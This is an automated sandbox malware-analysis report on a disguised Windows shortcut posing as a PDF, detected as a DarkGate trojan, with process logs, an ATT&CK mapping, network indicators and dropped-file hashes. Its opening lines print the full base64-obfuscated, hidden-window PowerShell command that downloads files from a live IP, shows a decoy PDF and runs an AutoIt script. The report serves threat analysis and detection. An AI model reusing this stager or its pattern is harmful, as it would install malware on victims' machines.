Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JGFwcGRhdGE9W1N5c3RlbS5FbnZpcm9ubWVudF06OkdldEZvbGRlclBhdGgoJ0FwcGxpY2F0aW9uRGF0YScpDQpJbnZva2UtV2ViUmVxdWVzdCAnaHR0cDovLzIuNTguNTYuMjQzL3ZtYXBpLnBkZicgLU91dEZpbGUgIiRhcHBkYXRhXHZtYXBpLnBkZiI7IFN0YXJ0LVByb2Nlc3MgIiRhcHBkYXRhXHZtYXBpLnBkZiINCiMgUE9SVFVHQUwNCkludm9rZS1XZWJSZXF1ZXN0ICdodHRwOi8vMi41OC41Ni4yNDMva2dodHllZC56aXAnIC1PdXRGaWxlICIkYXBwZGF0YVxrZ2h0eWVkLnppcCINCiMgUE9SVFVHQUwgRlJBTkNFDQpBZGQtVHlwZSAtQXNzZW1ibHlOYW1lIFN5c3RlbS5JTy5Db21wcmVzc2lvbi5GaWxlU3lzdGVtDQpbU3lzdGVtLklPLkNvbXByZXNzaW9uLlppcEZpbGVdOjpFeHRyYWN0VG9EaXJlY3RvcnkoIiRhcHBkYXRhXGtnaHR5ZWQuemlwIiwgJGFwcGRhdGEpDQpTdGFydC1Qcm9jZXNzICIkYXBwZGF0YVxBdXRvSXQzLmV4ZSIgIiRhcHBkYXRhXHNjcmlwdC5hM3giDQojIFBPUlRVR0FMIEJSQUJVUw0K')) \| Invoke-Expression"			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Roaming\vmapi.pdf"			Jump to behavior

Source: unknown	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell -windowstyle hidden -command "[system.text.encoding]::utf8.getstring([system.convert]::frombase64string('jgfwcgrhdge9w1n5c3rlbs5fbnzpcm9ubwvudf06okdldezvbgrlclbhdggoj0fwcgxpy2f0aw9urgf0yscpdqpjbnzva2utv2viumvxdwvzdcanahr0cdovlziuntguntyumjqzl3ztyxbplnbkzicglu91dezpbgugiirhchbkyxrhxhztyxbplnbkzii7ifn0yxj0lvbyb2nlc3mgiirhchbkyxrhxhztyxbplnbkziincimgue9svfvhquwnckludm9rzs1xzwjszxf1zxn0icdodhrwoi8vmi41oc41ni4yndmva2dodhllzc56axanic1pdxrgawxlicikyxbwzgf0yvxrz2h0ewvklnppccincimgue9svfvhquwgrljbtknfdqpbzgqtvhlwzsatqxnzzw1ibhloyw1lifn5c3rlbs5jty5db21wcmvzc2lvbi5gawxlu3lzdgvtdqpbu3lzdgvtlklplknvbxbyzxnzaw9ullppcezpbgvdojpfehryywn0vg9eaxjly3rvcnkoiirhchbkyxrhxgtnahr5zwquemlwiiwgjgfwcgrhdgepdqptdgfydc1qcm9jzxnzicikyxbwzgf0yvxbdxrvsxqzlmv4zsigiirhchbkyxrhxhnjcmlwdc5hm3gidqojifbpulrvr0fmiejsqujvuw0k')) \| invoke-expression"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -command "[system.text.encoding]::utf8.getstring([system.convert]::frombase64string('jgfwcgrhdge9w1n5c3rlbs5fbnzpcm9ubwvudf06okdldezvbgrlclbhdggoj0fwcgxpy2f0aw9urgf0yscpdqpjbnzva2utv2viumvxdwvzdcanahr0cdovlziuntguntyumjqzl3ztyxbplnbkzicglu91dezpbgugiirhchbkyxrhxhztyxbplnbkzii7ifn0yxj0lvbyb2nlc3mgiirhchbkyxrhxhztyxbplnbkziincimgue9svfvhquwnckludm9rzs1xzwjszxf1zxn0icdodhrwoi8vmi41oc41ni4yndmva2dodhllzc56axanic1pdxrgawxlicikyxbwzgf0yvxrz2h0ewvklnppccincimgue9svfvhquwgrljbtknfdqpbzgqtvhlwzsatqxnzzw1ibhloyw1lifn5c3rlbs5jty5db21wcmvzc2lvbi5gawxlu3lzdgvtdqpbu3lzdgvtlklplknvbxbyzxnzaw9ullppcezpbgvdojpfehryywn0vg9eaxjly3rvcnkoiirhchbkyxrhxgtnahr5zwquemlwiiwgjgfwcgrhdgepdqptdgfydc1qcm9jzxnzicikyxbwzgf0yvxbdxrvsxqzlmv4zsigiirhchbkyxrhxhnjcmlwdc5hm3gidqojifbpulrvr0fmiejsqujvuw0k')) \| invoke-expression"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -command "[system.text.encoding]::utf8.getstring([system.convert]::frombase64string('jgfwcgrhdge9w1n5c3rlbs5fbnzpcm9ubwvudf06okdldezvbgrlclbhdggoj0fwcgxpy2f0aw9urgf0yscpdqpjbnzva2utv2viumvxdwvzdcanahr0cdovlziuntguntyumjqzl3ztyxbplnbkzicglu91dezpbgugiirhchbkyxrhxhztyxbplnbkzii7ifn0yxj0lvbyb2nlc3mgiirhchbkyxrhxhztyxbplnbkziincimgue9svfvhquwnckludm9rzs1xzwjszxf1zxn0icdodhrwoi8vmi41oc41ni4yndmva2dodhllzc56axanic1pdxrgawxlicikyxbwzgf0yvxrz2h0ewvklnppccincimgue9svfvhquwgrljbtknfdqpbzgqtvhlwzsatqxnzzw1ibhloyw1lifn5c3rlbs5jty5db21wcmvzc2lvbi5gawxlu3lzdgvtdqpbu3lzdgvtlklplknvbxbyzxnzaw9ullppcezpbgvdojpfehryywn0vg9eaxjly3rvcnkoiirhchbkyxrhxgtnahr5zwquemlwiiwgjgfwcgrhdgepdqptdgfydc1qcm9jzxnzicikyxbwzgf0yvxbdxrvsxqzlmv4zsigiirhchbkyxrhxhnjcmlwdc5hm3gidqojifbpulrvr0fmiejsqujvuw0k')) \| invoke-expression"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC\Microsoft.mshtml\7.0.3300.0__b03f5f7f11d50a3a\Microsoft.mshtml.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	11 Masquerading	OS Credential Dumping	11 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	11 Process Discovery	Remote Desktop Protocol	Data from Removable Media	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	14 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Software Packing	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	21 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Integration.pdf www.skype.com.lnk	39%	ReversingLabs	Script-PowerShell.Trojan.Darkgate
Integration.pdf www.skype.com.lnk	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://2.58.56.243/kghtyed.zip	0%	Avira URL Cloud	safe
http://2.58.56.243/vmapi.pdf	0%	Avira URL Cloud	safe
http://2.58.56.243	0%	Avira URL Cloud	safe
http://2.58.56.243/kghtyed.zipX	0%	Avira URL Cloud	safe
http://2.58.56.243/vmapi.pdfX	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
15.164.165.52.in-addr.arpa	unknown	unknown	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://2.58.56.243/vmapi.pdf	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.6.dr	false		high
http://nuget.org/NuGet.exe	powershell.exe, 00000003.00000002.1567914358.000001BC101B3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567914358.000001BC10070000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.5.dr	false		high
http://2.58.56.243	powershell.exe, 00000003.00000002.1489723772.000001BC01632000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1489723772.000001BC016E9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000003.00000002.1489723772.000001BC00232000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000003.00000002.1489723772.000001BC00232000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000003.00000002.1489723772.000001BC00C32000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000003.00000002.1567914358.000001BC10070000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000003.00000002.1567914358.000001BC101B3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567914358.000001BC10070000.00000004.00000800.00020000.00000000.sdmp	false		high
http://2.58.56.243/kghtyed.zipX	powershell.exe, 00000003.00000002.1489723772.000001BC01632000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/License	powershell.exe, 00000003.00000002.1567914358.000001BC10070000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000003.00000002.1567914358.000001BC10070000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.ver)	svchost.exe, 00000006.00000002.2695624062.000002E33FE00000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000006.00000003.1496139347.000002E33FCE0000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.6.dr, edb.log.6.dr	false		high
https://aka.ms/pscore68	powershell.exe, 00000003.00000002.1489723772.000001BC00001000.00000004.00000800.00020000.00000000.sdmp	false		high
http://2.58.56.243/vmapi.pdfX	powershell.exe, 00000003.00000002.1489723772.000001BC01632000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://2.58.56.243/kghtyed.zip	powershell.exe, 00000003.00000002.1489723772.000001BC01C07000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000003.00000002.1489723772.000001BC00001000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000003.00000002.1489723772.000001BC00232000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
2.58.56.243	unknown	Netherlands		9119	SOFTNET-ASInternetServiceProviderinSloveniaandSouthE	false
96.17.64.171	unknown	United States		16625	AKAMAI-ASUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1558748
Start date and time:	2024-11-19 19:10:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 51s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Integration.pdf www.skype.com.lnk
Detection:	MAL
Classification:	mal96.evad.winLNK@20/51@2/3
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 9 Number of non-executed functions: 4
Cookbook Comments:	Found application associated with file extension: .lnk

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 162.159.61.3, 172.64.41.3, 184.28.90.27, 34.193.227.236, 18.207.85.246, 54.144.73.197, 107.22.247.231, 2.23.197.184, 93.184.221.240, 2.19.126.149, 2.19.126.143
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, wu.azureedge.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, hlb.apr-52dd2-0.edgecastdns.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, wu.ec.azureedge.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, geo2.adobe.com
Execution Graph export aborted for target powershell.exe, PID 3456 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Integration.pdf www.skype.com.lnk

Simulations

Behavior and APIs

Time	Type	Description
13:11:05	API Interceptor	28x Sleep call for process: powershell.exe modified
13:11:10	API Interceptor	2x Sleep call for process: svchost.exe modified
13:11:18	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
2.58.56.243	Stub.exe	Get hash	malicious	AsyncRAT, PhoenixRAT	Browse
2.58.56.243	r.png.ps1	Get hash	malicious	AsyncRAT, PhoenixRAT	Browse
96.17.64.171	YShfqKxCAU.lnk	Get hash	malicious	Ducktail	Browse
96.17.64.171	DRUMMONDLTD _ 21ST_OCTOBER_2024 _.PDF	Get hash	malicious	Unknown	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SOFTNET-ASInternetServiceProviderinSloveniaandSouthE	Payload 94.75 (2).225.exe	Get hash	malicious	Unknown	Browse	2.58.56.35
	Payload 94.75 (3).225.exe	Get hash	malicious	Unknown	Browse	2.58.56.220
	splx86.elf	Get hash	malicious	Unknown	Browse	213.253.88.249
	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse	212.13.231.21
	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	84.41.119.75
	z3hir.x86.elf	Get hash	malicious	Mirai	Browse	213.253.113.107
	sora.arm7.elf	Get hash	malicious	Mirai	Browse	213.253.113.111
	gunzipped.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	2.58.56.186
	h7yKn0l65e.exe	Get hash	malicious	RedLine	Browse	2.58.56.193
	1dAlsYrmjy.exe	Get hash	malicious	Mint Stealer	Browse	2.58.57.168
AKAMAI-ASUS	b.pdf	Get hash	malicious	Unknown	Browse	23.217.172.185
	https://www.bing.com/ck/a?!&&p=5ceef533778c3decJmltdHM9MTcyMzQyMDgwMCZpZ3VpZD0zNjRmNjVlOC1lNTZjLTYxOWQtMTI1Ny03MTNlZTQyYTYwMTImaW5zaWQ9NTE0MA&ptn=3&ver=2&hsh=3&fclid=364f65e8-e56c-619d-1257-713ee42a6012&u=a1aHR0cHM6Ly9sZXhpbnZhcmlhbnQuY29tLw#aHR0cHM6Ly9HMTAuZHpwdndvYnIucnUvdkd5c2dQdC8=	Get hash	malicious	Unknown	Browse	92.122.18.57
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	23.200.88.15
	https://nam.dcv.ms/WLtyQ3priB	Get hash	malicious	HTMLPhisher	Browse	2.18.121.138
	V6QED2Q1WBYVOPE	Get hash	malicious	Unknown	Browse	23.195.93.152
	f5dc5302-022c-8bef-7a8e-e20ea821f59b.eml	Get hash	malicious	HTMLPhisher	Browse	2.19.126.160
	phish_alert_sp2_2.0.0.0 (7).eml	Get hash	malicious	Unknown	Browse	2.19.126.160
	https://fixedzip.oss-ap-southeast-5.aliyuncs.com/replace.txt	Get hash	malicious	Unknown	Browse	184.28.90.27
	file.exe	Get hash	malicious	LummaC	Browse	23.192.247.89
	file.exe	Get hash	malicious	LummaC	Browse	23.210.122.61

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.802203326087472
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUAc:RJE+Lfki1GjHwU/+vVhWqpJ
MD5:	6BAAC264BB495D3BD30C0E50DBF76418
SHA1:	9A81B4FE4885A0F447DB0E99766302C67FEB3A1B
SHA-256:	9BA5594A92A36FFE987DC7D1A5850F1C902B56EA881D9D4D0DA6CB8D169439D3
SHA-512:	127D7D35B575801308B9996CD9ECC9B5E92E211F0A5F4D2258A9CA1A64100E8F19DB80F3D6DE4C30C059863D9B31A10C69A07C8C239A4FE56F3C58A42008841C
Malicious:	false
Reputation:	low
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x7fb962f7, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.9433614258351647
Encrypted:	false
SSDEEP:	1536:TSB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:TazaHvxXy2V2UR
MD5:	A24951F92BE8C164537866B33FF3E603
SHA1:	49E841BB65ED7EF8F323FC9151B57E0050A543E8
SHA-256:	178E6B96FE35A9665CE1F493571E10BF8FE47B525296C92D41E41C926EEC410B
SHA-512:	21027BD475A80D27E5D0B143726EDEF3E0AEAD6FDB72417DED1DF37CB21D946786F9F79DE5C7FBB113177A7F22BE37ABB7946883579B51876A305A740CFC932D
Malicious:	false
Reputation:	low
Preview:	..b.... ...............X\...;...{......................0.x...... ...{s......\|Q.h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{....................................+......\|.................r.......\|Q..........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08149157434445778
Encrypted:	false
SSDEEP:	3:EsdYeY7zmvll/nqlFcl1ZUllllfnq0ZollGBnX/l/Tj/k7/t:EsdzAYll/qlFclQ/lk0C254
MD5:	3489B05720D9D2358562CB7F4B49B0A8
SHA1:	4254BB2DD89B7EFBC53D4C342CF71F7CF8FD53F4
SHA-256:	557CE94F63D499A6FF478D881862D860429F6FB75D8FD18AFBC7B82D84E7B9AB
SHA-512:	77A1827219B9E6C7CEB8C8EAE9B170973C63760DB7540F6982F5B53C5F84DA2115652A3786414FC58582FC553974408C6775B7F83501FADA03F4D2623CD38D75
Malicious:	false
Reputation:	low
Preview:	...%.....................................;...{.......\|Q.. ...{s.......... ...{s.. ...{s.P.... ...{s.................r.......\|Q.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.177713117989205
Encrypted:	false
SSDEEP:	6:HUGF7F3Mq2PCHhJ2nKuAl9OmbnIFUt8YUGF3FtZmw+YUGF3FfkwOCHhJ2nKuAl91:533MvBHAahFUt8YTt/+YTf56HAaSJ
MD5:	DFD2EB178161047F9A048EE07ADC8511
SHA1:	4EDA5CBACD190A56D54D74ADA67D9ECE387F0928
SHA-256:	83AA89FC47207D80E3F89ABF91BD763908918DCDCF66909C592EDD363A848286
SHA-512:	735E91184DD44AB6536D87D6568E9C0F1085B0EAB9FE086F567E69297ABFA4E73870047D81DAD1CB6BE08BB9C00BE8BF3EA10E94A5303F560D7B443487932585
Malicious:	false
Preview:	2024/11/19-13:11:10.055 e74 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/11/19-13:11:10.059 e74 Recovering log #3.2024/11/19-13:11:10.059 e74 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.177713117989205
Encrypted:	false
SSDEEP:	6:HUGF7F3Mq2PCHhJ2nKuAl9OmbnIFUt8YUGF3FtZmw+YUGF3FfkwOCHhJ2nKuAl91:533MvBHAahFUt8YTt/+YTf56HAaSJ
MD5:	DFD2EB178161047F9A048EE07ADC8511
SHA1:	4EDA5CBACD190A56D54D74ADA67D9ECE387F0928
SHA-256:	83AA89FC47207D80E3F89ABF91BD763908918DCDCF66909C592EDD363A848286
SHA-512:	735E91184DD44AB6536D87D6568E9C0F1085B0EAB9FE086F567E69297ABFA4E73870047D81DAD1CB6BE08BB9C00BE8BF3EA10E94A5303F560D7B443487932585
Malicious:	false
Preview:	2024/11/19-13:11:10.055 e74 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/11/19-13:11:10.059 e74 Recovering log #3.2024/11/19-13:11:10.059 e74 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.142049516840174
Encrypted:	false
SSDEEP:	6:HUGFjTpM+q2PCHhJ2nKuAl9Ombzo2jMGIFUt8YUGFAU5Zmw+YUGFZjMVkwOCHhJV:5hpM+vBHAa8uFUt8YF/+Y7jMV56HAa8z
MD5:	21927DEA0F6B53D509F0817A51A5700E
SHA1:	2444403983911FEA746AB0E4CD2B17D4AE4F6005
